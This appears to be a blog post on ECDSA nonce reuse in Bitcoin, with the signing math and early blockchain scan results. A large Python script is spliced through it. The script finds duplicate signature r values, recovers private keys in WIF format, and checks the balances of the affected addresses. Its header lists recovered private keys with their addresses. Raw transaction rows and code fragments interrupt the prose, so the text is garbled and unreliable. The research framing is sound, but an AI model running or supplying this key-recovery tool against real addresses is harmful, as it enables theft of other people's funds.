Bitcoin random private key generation vulnerability

28.11.2024
Bitcoin random private key generation vulnerability

When I was initially learning about the steps to creating a valid Bitcoin transaction, I remember reading a few sentences about how reusing nonces when creating signatures is detrimental to the security of the funds. At the time I didn’t think much of it and just wrote it off as an additional thing to keep in mind when writing wallet software. Then a few months ago, I decided to revisit how a testnet wallet that I had written does transaction construction, specifically the signing process. This led me to looking at how my wallet does nonce generation, and a technique that my wallet uses to guarantee that a unique nonce is used every time. This time around, I decided to dig a little deeper into this topic.

Nonces are not supposed to be reused in Bitcoin transactions, because that can lead to a loss of funds. There are numerous questions (not all of which appear to be well-intentioned) on Bitcoin Stack Exchange asking about nonce-reuse and how to steal Bitcoin from someone who has made this mistake. There are also a few posts on Bitcoin Talk about how there are now bots who steal bitcoin from addresses that have reused a nonces in the past.

So, if this is already a long-established problem with well-known solutions, one of which I hinted at above with the example of my own wallet, then why take out the time to write about this? Nonce reuse has usually been talked about in the context of “never do this”, and there are now fewer instances of loss of funds due to nonce-reuse because wallet software has greatly improved since Bitcoin’s earlier days. However, there hasn’t been much historical analysis on this subject. I looked for articles relating to this topic, but there weren’t that many, and the ones that did exist were either outdated or didn’t go into as much detail as I would have liked.

So, I decided to try and look at the prevalence of nonce reuse over time by using information from my bitcoin node. I have decided to write about this in multiple parts, because scans for finding nonce reuse can take some time, and dissecting that data to find outliers, patterns, and the reasoning behind some of that data can take even longer. Having multiple parts will allow me to focus on different facets of this topic in each post.

This first part details where nonces are actually used in signature creation, my initial implementation of a nonce reuse scanner, certain data which I thought might be of interest if collected, and some initial data that I have collected thus far.

CREATE TABLE `scriptsig_deduped` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `r` BINARY(32) NOT NULL,
  `s` BINARY(32) NOT NULL,
  `tx` BINARY(32) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `idx_scriptsig_deduped_r` (`r`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;

A Quick Refresher on Signature Construction in Bitcoin

Note: If you are completely unfamiliar with ECDSA and signatures in Bitcoin, I would recommend reading through the first three chapters of Programming Bitcoin by Jimmy Song.

Given the following (it should be noted that the lowercase variables are scalars while the uppercase variables are points):

  • generator point
  • private key
  • P = e * G public key
  • secret nonce value
  • R = k * G
  • the x-coordinate of R
  • the message that is being signed (the sighash)

Calculate s:

And so the full signature becomes:

  • {r, s}

What is a Nonce and Why Can’t the Same Private Key Use One Twice?

The whole point of a nonce is that it introduces randomness to the equation, but the purpose of a nonce is defeated if the same nonce is used twice for the same private key and different messages. Here is why that is a problem:

Given two signatures {r, s1} and {r, s2} of different messages z1 and z2 with the same nonce and the same key (k, r, and e are the same both times) we get the following equations.

  • s1 = (z1 + re)/k
  • s2 = (z2 + re)/k

After multiplying both with k…

  • s1 * k = z1 + re
  • s2 * k = z2 + re

…we just have a simple system of equations, and we can subtract one from the other to obtain the nonce private key:

  • k(s1 – s2) = z1 – z2
  • k = (z1 – z2)/(s1 – s2)

Once we know the nonce private key, we can calculate the actual private key by doing the following:

  • k * s1 = z1 + re
  • re = k * s1 – z1
  • e = (k * s1 – z1)/r

This is why nonce reuse (k) is so dangerous.

4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b;0000000000000000000000000000000000000000000000000000000000000000;4294967295;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73;4294967295
b52953f7104aa6ffab9391578fc34279ce221700acb2257859657b2901987c63;30f3a6f6991bfdb2825360e676798fdb6958238ccec2a6c8cc8488eca68694bb;0;493046022100b72f9810952e3c21687b9255ae4a35e497d2dca922d7dbc096002a16babb0f29022100c3b71e4b1ef75562e995843f6e3fcd66928b5b272a874ee6ee017ae35d14cd8d01;4294967295
0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098;0000000000000000000000000000000000000000000000000000000000000000;4294967295;04ffff001d0104;4294967295

Has nonce reuse actually occurred in Bitcoin?

The odds of this occurring by chance are miniscule in an ideal situation, but because of bad sources of entropy and faulty wallet software, there are quite a few examples of the same nonce being used with multiple signatures. For an example, take a look at this post on bitcointalk describing one of the more damaging bugs related to nonce reuse.

Edge Cases to Keep in Mind

While these edge cases could get annoying to continuously keep in mind while I was working on this, I realized they would be quite interesting to investigate using the data collected, as I will describe in the next section.

  • A nonce can be used by the same private key more than twice
  • A private key can use multiple nonces at least twice
  • A nonce can be used by multiple private keys

Data of Interest

Number of Private Keys Leaked in Relation to Block Height

My initial motivation for nonce-reuse scanning into this was curiosity in regards to how the levels of nonce reuse vary over time. It is important to note that “number of private keys leaked” is not equivalent to “number of nonces reused”, because the same nonce can be reused by multiple private keys. For example, three private keys can each use the same nonce twice, and this would lead to 3 private keys leaked, but only one distinct nonce being reused.

It will also be important to look at the percentage of private keys leaked out of the total number of private keys active on the network at the given time, as opposed to just the number of private keys leaked. This is because the more recent blocks have a lot more transactions than the older blocks.

Leaking The Same Private Key Multiple Times

A private key can be leaked multiple times. For example if one nonce is used twice with the same private key, and then again twice with another nonce. This will show up as two data points on a graph of private keys leaked with distinct nonces. I wrote a short script, which I will walk through in a later post, to see how frequently a private key is leaked multiple times. This is important because if many private keys have been leaked multiple times, then the data might not indicate what it intuitively appears to indicate (# of private keys leaked due to nonce reuse over time).

bitcrack.py import tx_in.csv

Nonces Being Reused in Legacy vs. Segwit v0 Inputs

I would expect far fewer nonces to be reused in Segwit v0 inputs. This is for two reasons:

  1. Segwit v0 inputs started getting used in 2017. In 2017 the wallet software was more advanced than it was before.
  2. At least in the situation of nonces getting reused because of outdated/bad quality wallet software, I would think that if a wallet went to the trouble of implementing spending segwit outputs, their signature construction is up to industry standard (ie. they use a technique to ensure nonce reuse never happens). I was also curious to see if any nonces were used in both a legacy and a segwit v0 input. I highly doubt it, but I will still run a check to see if this has occurred. It will also be interesting to see if the same public key has been used to create both a segwit v0 address and a legacy address.

Nonces Being Used With Distinct Private Keys

This check involves whether any nonces have been used by multiple private keys. If this were to occur, it would not be as problematic as some of the other situations discussed thus far. Unlike with the situation where the same private key uses the same nonce twice, any arbitrary outside observer monitoring the blockchain can’t calculate the private key. However, assuming that the two distinct private keys that have used the same nonce belong to two different people, these two people can calculate each other’s private key.

Let’s call the owner of the first address Alice, and the owner of the second address Bob. As mentioned above, if the k value is known, then the following equation can be used to calculate the private key:

  • e = (k × s – z)/r

So how does Alice know Bob’s k value if they both used the same nonce? Bob’s signature will contain r, which is the x-coordinate of kG. If Alice and Bob have the same r value, they must have both had the same k. If they both had the same k, Alice can derive what the k value was using the following equation:

She can do this because she knows her own private key, knows the r value from the signature, knows the message from the transaction, and knows the s from the signature as well. Alice needs to calculate her k value because she didn’t store her k value. With this k value, she can calculate Bob’s private key and steal all his funds. However, the odds that 2 unrelated parties use the same nonce are ridiculously low, unless the nonce was not picked randomly. A nonce not being picked randomly means that bad entropy was used, or the nonce was previously shared.

Again, the odds of funds actually being lost because of this are astronomically low, but I thought it was interesting to think about because such a scenario being a problem was not immediately obvious to me.

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
#
# Have:
#       r, s
#       pubkey
#       hash (m)
#
# Need:
#       pubkey,r,s1,s2,h1,h2
'''
                      Address                               Privkey                            r
Privkey recovered:  1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 113563387324078878147267949860139475116142082788494055785668341901521289846519
Privkey recovered:  1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 18380471981355278106073484610981598768079378179376623360720556873242139981984
Privkey recovered:  1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw 19682383735358733565748628081379024202682929012377912380310432818686294127462
Privkey recovered:  1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT 6828441658514710620715231245132541628903431519484374098968817647395811175535
'''
 
############################
#
# CONFIG
#
############################
#              host         user   password database
MYSQL_PARMS = ("localhost", "root","password","btc")
############################
#
# HERE BE DRAGONS
#
############################
from ecdsa_key_recovery import EcDsaSignature
 
from binascii import unhexlify, hexlify
from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException
import time
import logging
from pyasn1.codec.der import decoder as asn1der
import pybitcointools
import sqlite3, os
import MySQLdb
import requests
 
logger = logging.getLogger(__name__)
'''
C:\Program Files\Bitcoin\daemon\bitcoind.exe --server --rpcuser=lala --rpcpassword=lolo -txindex=1 -printtoconsole
'''
 
def pause(t, critical=False):
    critical = False
    if not critical:
        print t
        return
    raw_input(t)
 
def bignum_to_hex(val, nbits=256):
  ret = hex((val + (1 << nbits)) % (1 << nbits)).rstrip("L").lstrip("0x")
  if len(ret)%2==1:
      return "0"+ret
  return ret
 
def long_to_bytes (val, endianness='big'):
    """
    Use :ref:`string formatting` and :func:`~binascii.unhexlify` to
    convert ``val``, a :func:`long`, to a byte :func:`str`.
    :param long val: The value to pack
    :param str endianness: The endianness of the result. ``'big'`` for
      big-endian, ``'little'`` for little-endian.
    If you want byte- and word-ordering to differ, you're on your own.
    Using :ref:`string formatting` lets us use Python's C innards.
    """
    # one (1) hex digit per four (4) bits
    width = val.bit_length()
    # unhexlify wants an even multiple of eight (8) bits, but we don't
    # want more digits than we need (hence the ternary-ish 'or')
    width += 8 - ((width % 8) or 8)
    # format width specifier: four (4) bits per hex digit
    fmt = '%%0%dx' % (width // 4)
    # prepend zero (0) to the width, to zero-pad the output
    s = unhexlify(fmt % val)
    if endianness == 'little':
        # see http://stackoverflow.com/a/931095/309233
        s = s[::-1]
    return s
 
 
class BtcRpc(object):
    def __init__(self, uri):
        logger.debug("init")
        self.uri = uri
        self.rpc = AuthServiceProxy(uri,timeout=600)
 
        # wait for rpc to be ready
        last_exc = None
        for _ in xrange(30):
            try:
                logger.info("best block: %s"%self.rpc.getbestblockhash())
                #logger.info("block count: %s" % self.rpc.getblockcount())
                break
            except Exception, e:
                last_exc = e
            logger.info("trying to connect ...")
            time.sleep(2)
        if last_exc:
            raise last_exc
        logger.debug("connected.")
 
    def iter_vins(self, block):
        for tx in block['tx']:
            trans = self.rpc.decoderawtransaction(self.rpc.getrawtransaction(tx))
            # tbh we only need to check vout
            for vin in trans['vin']:
                sig = vin.get("scriptSig")
                if sig:
                    dersig = asn1der.decode(sig.get("hex").decode("hex")[1:])
 
                    yield {'block': block['hash'],
                           'type': 'scriptSig',
                             'tx': tx,
                             #'hex': v.get("hex"),
                             'r': int(dersig[0][0]),
                             's': int(dersig[0][1])}
            # vouts
            '''
            for vout in trans['vout']:
                for k,v in vout.iteritems():
                    if k.startswith("script"):
                        for addr in v.get("addresses"):
                            yield {'block': block['hash'],
                                   'type': 'address',
                                   'tx': tx,
                                   # 'hex': v.get("hex"),
                                   'address':addr}
            '''
 
        #self.rpc.batch_()
 
    def iter_blocks(self, height=0, infinite=False):
        blockhash = self.rpc.getblockhash(height)
        while True:
            block = self.rpc.getblock(blockhash)
            yield block
            next_blockhash = block.get("nextblockhash")
            if next_blockhash:
                blockhash = next_blockhash
                continue
            # end of chain?
            if not infinite:
                # stop here if we do not want to infinitely block
                raise StopIteration()
            logger.warning("end of chain - wait a minute for next block to appear...")
            time.sleep(60)
 
    def get_args_for_r(self, tx, r):
        trans = self.rpc.getrawtransaction(tx, 1)
        logger.debug("trans: %r"%trans)
        # tbh we only need to check vout
        for index,vin in enumerate(trans['vin']):
            sig = vin.get("scriptSig")
            logger.debug(vin)
            if sig:
                asn_sig = sig.get("hex").decode("hex")
                asn_sequence_tag_start = asn_sig.index(
                    "\x30")  # sometimes there are more instructions than just a push, so find the 30 asn1 sequence start tag
                # print asn_sequence_tag, asn_sig.encode("hex")
                dersig = asn1der.decode(asn_sig[asn_sequence_tag_start:])
                #dersig = asn1der.decode(sig.get("hex").decode("hex")[1:])
                if long_to_bytes(int(dersig[0][0])).encode("hex")==r:
                    yield {'type': 'scriptSig',
                           'tx': tx,
                           # 'hex': v.get("hex"),
                           'r': int(dersig[0][0]),
                           's': int(dersig[0][1]),
                            'in_tx': vin['txid'],
                           'pub':dersig[1],
                           'index':index}
 
    def get_scriptsigs(self, tx):
        trans = self.rpc.getrawtransaction(tx, 1)
        print "trans",trans
        # tbh we only need to check vout
        for index,vin in enumerate(trans['vin']):
            sig = vin.get("scriptSig")
            print vin
            if sig:
                asn_sig = sig.get("hex").decode("hex")
                asn_sequence_tag_start = asn_sig.index(
                    "\x30")  # sometimes there are more instructions than just a push, so find the 30 asn1 sequence start tag
                # print asn_sequence_tag, asn_sig.encode("hex")
                dersig = asn1der.decode(asn_sig[asn_sequence_tag_start:])
                yield {'type': 'scriptSig',
                       'tx': tx,
                       # 'hex': v.get("hex"),
                       'r': long(dersig[0][0]),
                       's': long(dersig[0][1]),
                        'in_tx': vin['txid'],
                       'pub':dersig[1],
                       'index':index}
 
import ecdsa
from ecdsa import VerifyingKey
from ecdsa.ecdsa import Signature
 
curve = ecdsa.SECP256k1
 
class BTCSignature(EcDsaSignature):
 
    def __init__(self, sig, h, pubkey, curve=ecdsa.SECP256k1):
        super(BTCSignature, self).__init__(sig, h, BTCSignature._fix_pubkey(pubkey), curve=curve)
 
    @staticmethod
    def _fix_pubkey(p):
        # SIG
        # PUSH 41
        # type 04
        if p.startswith("\x01\x41\x04"):
            return p[3:]
        return p
 
    def recover_from_btcsig(self, btcsig):
        return self.recover_nonce_reuse(btcsig)
        #print self.pubkey_orig==btcsig.pubkey_orig
        #return self.recover_nonce(btcsig.sig, btcsig.h)
 
    def to_btc_pubkey(self):
        return ('\04' + self.signingkey.verifying_key.to_string()).encode('hex')
 
    def to_btc_privkey(self):
        return self.signingkey.to_string().encode("hex")
 
    def pubkey_to_address(self):
        return pybitcointools.pubkey_to_address(self.to_btc_pubkey())
 
    def privkey_to_address(self):
        return pybitcointools.privkey_to_address(self.to_btc_privkey())
 
    def privkey_to_wif(self):
        return pybitcointools.encode_privkey(self.to_btc_privkey(), "wif")
 
    def privkey_wif(self):
        return self.privkey_to_wif()
 
    def address(self):
        return self.privkey_to_address()
 
def selftest():
    public_key_hex = 'a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364' + '7954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc'
    msghash1 = '01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6'
    msghash2 = '339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1'
    sig1_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02206cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188'
    sig2_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02204ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2'
 
    t = asn1der.decode(sig1_hex.decode("hex"))
    sig1 = Signature(long(t[0][0]), long(t[0][1]))
    t = asn1der.decode(sig2_hex.decode("hex"))
    sig2 = Signature(long(t[0][0]), long(t[0][1]))
 
    print sig1.r, sig1.s
    print sig2.r, sig2.s
    print msghash1
    print msghash2
    print public_key_hex
 
 
 
    sigx1 = BTCSignature(sig=sig1, h=long(msghash1, 16), pubkey=public_key_hex.decode("hex"))
    sigx2 = BTCSignature(sig=(sig2.r, sig2.s), h=long(msghash2, 16), pubkey=public_key_hex.decode("hex"))
    print "%r" % sigx1.recover_nonce_reuse(sigx2)
    print sigx1.signingkey
    print sigx1.to_btc_pubkey(), sigx1.to_btc_privkey()
    print sigx1.pubkey_to_address(), sigx1.privkey_to_wif()
    print sigx1.export_key()
    print "----sigx2---"
 
    sig1 = EcDsaSignature(sig=sig1, h=msghash1.decode("hex"), pubkey=public_key_hex.decode("hex"))
    sig2 = EcDsaSignature(sig=(sig2.r, sig2.s), h=msghash2.decode("hex"), pubkey=public_key_hex.decode("hex"))
    print sig1.recover_nonce_reuse(sig2)
    print sig1.export_key()
    raw_input("--End of Selftest -- press any key to continue--")
 
 
import pprint
 
SIGHASH_ALL = 1
SIGHASH_NONE = 2
SIGHASH_SINGLE = 3
SIGHASH_ANYONECANPAY = 0x80
 
def verify_vin_old(txid, index):
 
    # get raw transaction (txid)  <-- vin[0]: scriptSig
    rpc = BtcRpc("http://root:password@localhost:3306")
    rawtx = rpc.rpc.getrawtransaction(txid)
    jsontxverbose = rpc.rpc.getrawtransaction(txid,1)
    #pprint.pprint(jsontxverbose)
    jsontx = pybitcointools.deserialize(rawtx)
    pprint.pprint(jsontx)
    scriptSigasm = jsontxverbose['vin'][index]['scriptSig']['asm']
 
    logger.debug(scriptSigasm)
 
    scriptSig = jsontx['ins'][index]['script']
    sigpubdecoded = asn1der.decode(scriptSig.decode("hex")[1:])  # skip first push
    sig = long(sigpubdecoded[0][0]), long(sigpubdecoded[0][1])
    pubkey = sigpubdecoded[1]
    sighash_type = pubkey[0]
 
    logger.debug("sighash type: %r" % sighash_type)
    push = pubkey[1]
    btc_pubkey_type = pubkey[2]
    pubkey = pubkey[3:]
 
    logger.debug("r %s s %s"%(hex(sig[0]),hex(sig[1])))
    logger.debug(pubkey.encode("hex"))
    # generate signdata
    # replace input script with funding script of 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ
    for txin in jsontx['ins']:
        txin['script']=''
    funding_txid = jsontxverbose['vin'][index]['txid']
    funding_tx = rpc.rpc.getrawtransaction(funding_txid,1)
    #pprint.pprint(funding_tx)
    funding_script = funding_tx['vout'][0]['scriptPubKey']['hex']
    jsontx['ins'][index]['script']=funding_script
    signdata= pybitcointools.serialize(jsontx) + "01000000"  #SIGHASH ALL
    import hashlib
    digest = hashlib.sha256(hashlib.sha256(signdata.decode("hex")).digest()).digest()
    logger.debug(digest[::-1].encode("hex"))
 
    vk = VerifyingKey.from_string(pubkey, curve=curve)
    logger.debug("verify --> %s "%(vk.pubkey.verifies(int(digest.encode("hex"),16),Signature(sig[0],sig[1]))))
 
    #print vk.verify_digest(scriptSigasm.split("[ALL]",1)[0].decode("hex"), digest, sigdecode=ecdsa.util.sigdecode_der)
 
    return BTCSignature(sig=Signature(sig[0],sig[1]),
                       h=int(digest.encode("hex"),16),
                       pubkey=pubkey,
                       )
 
def verify_vin(txid, index):
    txdump = dump_tx_ecdsa(txid, index)
    #i, pub, txid, s, r, x, z
    #    |               |   \--- hash
    #    |                \------ pub decoded?
    #     \---------------------- pub orig?
    import pprint
    pprint.pprint(txdump)
    print txdump['z'].decode("hex")
    print int(txdump['z'],16)
    def fix_pubkey(p):
        if p.startswith("04"):
            return p[2:]
        return p
    txdump['pub'] = fix_pubkey(txdump['pub'])
    #vk = VerifyingKey.from_public_point(int(txdump['x'],16),curve=curve)
    #vk = VerifyingKey.from_string(txdump['pub'], curve=curve)
    #print vk
    #logger.debug("verify --> %s " % (vk.pubkey.verifies(int(digest.encode("hex"), 16), Signature(sig[0], sig[1]))))
 
    # get raw transaction (txid)  <-- vin[0]: scriptSig
    rpc = BtcRpc("http://root:password@localhost:3306")
    rawtx = rpc.rpc.getrawtransaction(txid)
    jsontxverbose = rpc.rpc.getrawtransaction(txid,1)
    #pprint.pprint(jsontxverbose)
    jsontx = pybitcointools.deserialize(rawtx)
    pprint.pprint(jsontx)
    scriptSigasm = jsontxverbose['vin'][index]['scriptSig']['asm']
 
    logger.debug(scriptSigasm)
 
    scriptSig = jsontx['ins'][index]['script']
    sigpubdecoded = asn1der.decode(scriptSig.decode("hex")[1:])  # skip first push
    sig = long(sigpubdecoded[0][0]), long(sigpubdecoded[0][1])
    pubkey = sigpubdecoded[1]
    sighash_type = pubkey[0]
 
    logger.debug("sighash type: %r" % sighash_type)
    push = pubkey[1]
    btc_pubkey_type = pubkey[2]
    pubkey = pubkey[3:]
 
    logger.debug("r %s s %s"%(hex(sig[0]),hex(sig[1])))
 
    logger.debug("pubkey:  %r"%pubkey.encode("hex"))
    logger.debug("txdump: %r"%txdump['pub'])

Potential Heuristics to Identify Intentional Private Key Leaks

The possibility of people intentionally leaking private keys can’t be discounted, especially when looking at the earlier days of Bitcoin when more experimentation was done on the main chain. These can’t definitively determine whether or not a nonce was purposefully reused, but they can certainly be a good starting point. Looking at more information relevant to a specific instance of reuse will also be useful.

  • Using a nonce that results in a very short r-value (for the fee benefit)
  • High reuse count (especially across multiple transactions)
  • Distinct nonces each being used exactly twice in the same transaction
  • Spending Bitcoin that will be burnt anyways (eg. using OP_RETURN)

Implementing a Nonce Reuse Scanner

Though I am still modifying and optimizing my implementation of such a scanner, my overall approach has remained the same. In order to figure out the frequency of nonce reuse over time, I need to scan the blockchain, keep track of nonces and the public keys that used those nonces, and keep track of the heights at which nonce reuse was occurring. In order to do this, I decided to modify Bitcoin Core itself as opposed to using RPCs to get this kind of information because I was already familiar with the codebase. Because of this, I didn’t need to write additional code to deal with transaction indices, checking output types, etc. and it was probably faster. I used a leveldb database to keep track of the relevant information.

Initial Data & Patterns Observed

The data below has been obtained by scanning for nonce reuse up to the block at height 301102, which was mined in May of 2014. The following parts of this series will contain more recent data as well as a more thorough analysis of specific instances of nonce reuse.

The first nonce reused in a P2PKH transaction was at height 121487 in transaction 19edfbf79bca8d11b133e1b52e310bdf20a86135bb87fbbce2e5318a1b1791b4, leaking the private key of the address 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962.

Below is a graph of the number of private keys leaked by reusing distinct nonces over time. It is important to note that below there could be multiple nonces leaking the same private key.

alt text

I found it quite surprising how many private keys were leaked by reusing multiple distinct nonces. It turns out that by 2014 ~40% of private keys who had reused nonces reused more than one nonce. It can be hard to determine how many of these were intentional because after calculating the private key of an address, anyone can make an address reuse as many nonces as they like with that address.

    '''
    # generate signdata
    # replace input script with funding script of 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ
    for txin in jsontx['ins']:
        txin['script']=''
    funding_txid = jsontxverbose['vin'][index]['txid']
    funding_tx = rpc.rpc.getrawtransaction(funding_txid,1)
    #pprint.pprint(funding_tx)
    funding_script = funding_tx['vout'][0]['scriptPubKey']['hex']
    jsontx['ins'][index]['script']=funding_script
    signdata= pybitcointools.serialize(jsontx) + "01000000"  #SIGHASH ALL
    import hashlib
    digest = hashlib.sha256(hashlib.sha256(signdata.decode("hex")).digest()).digest()
    logger.debug(digest[::-1].encode("hex"))
    pause("--->")
    '''
    pause("create verifying key...")
 
    vk = VerifyingKey.from_string(txdump['pub'].decode("hex"), curve=curve)
    digest = txdump['z']
    print repr(pubkey)
    print repr(txdump['pub'])
    z = int(digest.decode("hex"),16)
    verifies = vk.pubkey.verifies(z,Signature(sig[0],sig[1]))
    logger.debug("verify --> %s "%(verifies))
    if not verifies:
        pause("--verify false!--",critical=True)
 
    #print vk.verify_digest(scriptSigasm.split("[ALL]",1)[0].decode("hex"), digest, sigdecode=ecdsa.util.sigdecode_der)
 
    return BTCSignature(sig=Signature(sig[0],sig[1]),
                       h=z,
                       pubkey=pubkey,
                       )
##FIXME: db has some unhex(00000000000000000000000...00) datasets for r/s .. resolve them
def recover_key_for_r(r):
    r=r.lower()
    txs=set([])
    bsigs = []
    # sqilte get txids for colliding r
    #
    #db = sqlite3.connect("blockchain.new.sqlite3")
    logger.debug("db connect")
    db = MySQLdb.connect(*MYSQL_PARMS)
    cursor = db.cursor()
    logger.debug("query")
    cursor.execute('SELECT HEX(tx) FROM scriptSig_deduped WHERE r=UNHEX(%s)', (r,))
    for row in cursor.fetchall():
        txs.add(row[0])
 
    logger.debug("transactions: %r" % txs)
    logger.debug("btc connect...")
    rpc = BtcRpc("http://root:password@localhost:3306")
    logger.debug("btc connected!")
    for nr,txid in enumerate(txs):
        try:
            logger.debug("working txid: %r"%txid)
            args = rpc.get_args_for_r(txid, r).next()
            logger.debug("args: %r" % args)
            bsigs.append(verify_vin(txid,args['index']))
            logger.debug("txid: %r" % txid)
        except Exception, ae: # assertionerror
            logger.exception(ae)
 
 
    # try all combinations to recover privkey
    # todo: might have multiple results! better yield results and filter already found ones..
    #       e.g. if multiple r but different pubkey
    import itertools
    print bsigs
    ex= None
    for comb in itertools.combinations(bsigs, 2):
        try:
            comb[0].recover_from_btcsig(comb[1])
            return comb[0]
        except AssertionError, e:
            ex = e
            print e
        pause("--nextbtcsig--")
    if ex:
        raise ex
    raise Exception("--cannot-recover--")
 
def get_dup_r():
    #db = sqlite3.connect("blockchain.new.sqlite3")
    db = MySQLdb.connect(*MYSQL_PARMS)
    cursor = db.cursor()
    sql_dup = """SELECT r,s,tx, COUNT(r) as c
FROM scriptSig_deduped
GROUP BY r HAVING ( c > 1 )"""
    for r,s,tx in cursor.execute(sql_dup):
        yield {'r':r,'s':s,'tx':tx}
 
def batch(iterable, n=1):
    l = len(iterable)
    for ndx in range(0, l, n):
        yield iterable[ndx:min(ndx + n, l)]
 
def scriptsig_to_ecdsa_sig(asn_sig):
    asn_sequence_tag_start = asn_sig.index(
        "\x30")  # sometimes there are more instructions than just a push, so find the 30 asn1 sequence start tag
    # print asn_sequence_tag, asn_sig.encode("hex")
    dersig = asn1der.decode(asn_sig[asn_sequence_tag_start:])
 
    return {  # 'hex': v.get("hex"),
        'r': long(dersig[0][0]),
        's': long(dersig[0][1])}
 
def get_sigpair_from_csv(csv_in, start=0, skip_to_tx=None, want_tx=[]):
    want_tx=set(want_tx)
    skip_entries = True
    with open(csv_in,'r') as f:
        for nr,line in enumerate(f):
            if nr<start:
                if nr%100000==0:
                    print "skip",nr,f.tell()
                continue
            if nr % 10000000 == 0:
                print "10m", nr
            try:
                # read data
                cols = line.split(";",1)
                tx = cols[0].strip()
 
                if skip_to_tx and tx==skip_to_tx:
                    skip_entries=False
                    # skip this entry - already in db
                    continue
                if skip_to_tx and skip_entries:
                    print "skiptx",nr, tx
                    continue
                if want_tx and tx not in want_tx:
                    continue
 
                scriptsig = cols[1].decode("base64")
                #print repr(scriptsig)
                #print pybitcointools.deserialize_script(scriptsig)
                sig = scriptsig_to_ecdsa_sig(scriptsig)
                sig['tx'] = tx
                sig['nr'] = nr
                yield sig
            except ValueError, ve:
                #print tx,repr(ve)
                pass
            except Exception, e:
                print tx, repr(e)
 
def find_fixed_id_for_tx_s(f, _tx, _s):
    f.seek(0)
    for line in f:
        line = line.strip()
        if not line: continue
        r,s,tx = line.split(",")
        if s.lower()==_s.lower() and tx.lower()==_tx.lower():
            return r,s,tx
 
def getrawtx(txid):
    for _ in xrange(10):
        e=None
        try:
            rpc = BtcRpc("http://root:password@localhost:3306")
            return rpc.rpc.getrawtransaction(txid, 1)
        except Exception , e:
            pass
    raise e
 
def dump_tx_ecdsa(txid, i):
    tx = getrawtx(txid)
 
    vin = tx['vin'][i]
    if 'coinbase' in vin:
        return
 
    prev_tx = getrawtx(vin['txid'])
    prev_vout = prev_tx['vout'][vin['vout']]
    prev_type = prev_vout['scriptPubKey']['type']
    script = prev_vout['scriptPubKey']['hex']
 
    if prev_type == 'pubkeyhash':
        sig, pub = vin['scriptSig']['asm'].split(' ')
    elif prev_type == 'pubkey':
        sig = vin['scriptSig']['asm']
        pub, _ = prev_vout['scriptPubKey']['asm'].split(' ')
    else:
        logger.warning("%6d %s %4d ERROR_UNHANDLED_SCRIPT_TYPE" % (txid, i))
        raise
 
    x = pub[2:66]
 
    #print sig
    if sig[-1] == ']':
        sig, hashcode_txt = sig.strip(']').split('[')
        if hashcode_txt == 'ALL':
            hashcode = 1
        elif hashcode_txt == 'SINGLE':
            hashcode = 3
        else:
            print hashcode_txt
            logger.warning("xx %s %4d ERROR_UNHANDLED_HASHCODE" % (txid, hashcode_txt))
            raise
    else:
        hashcode = int(sig[-2:], 16)
        sig = sig[:-2]
 
 
    modtx = pybitcointools.serialize(pybitcointools.signature_form(pybitcointools.deserialize(tx['hex']), i, script, hashcode))
    z = hexlify(pybitcointools.txhash(modtx, hashcode))
 
    _, r, s = pybitcointools.der_decode_sig(sig)
    r = pybitcointools.encode(r, 16, 64)
    s = pybitcointools.encode(s, 16, 64)
 
    #print verify_tx_input(tx['hex'], i, script, sig, pub)
    return {'txid':txid,'i':i,'x':x,'r':r,'s':s,'z':z,'pub':pub}
 
def get_balance_for_address(addr):
    r = requests.get("https://blockchain.info/de//q/addressbalance/%s"%addr)
    return int(r.text)
 
def check_balances():
    db = MySQLdb.connect(*MYSQL_PARMS)
    cursor = db.cursor()
    cursor.execute(
        "select address from bitcoin.privkeys")
    for a in cursor.fetchall():
        try:
            print "%s - %s"%(a, get_balance_for_address(a))
        except Exception, e:
            print "%s - %s" % (a, e)
    raw_input("-->done")
 
def recover_privkey():
    db = MySQLdb.connect(*MYSQL_PARMS)
    cursor_insert = db.cursor()
    cursor = db.cursor()
 
    cursor.execute("select id,hex(r) from bitcoin.r_dup where r not in (select r from bitcoin.privkeys) order by RAND()")
    #cursor.execute("select id,hex(r) from bitcoin.r_dup where r=unhex('E44A8A310ECB6CF6E2D7BC9473871FB6526DAA7D18A1F8E32CEDCC7E2BCB7154')")
 
    for id, r in cursor.fetchall():
        logger.info("%r -- %r"%(id,r))
        if "00000000000000000000000000000000000000000000000000000000000000" in r:
            continue
 
        try:
            rsig = recover_key_for_r(r)
            print "->Privkey recovered: ", rsig.address(), rsig.privkey_wif(), r
            recovered_sigs.append(rsig)
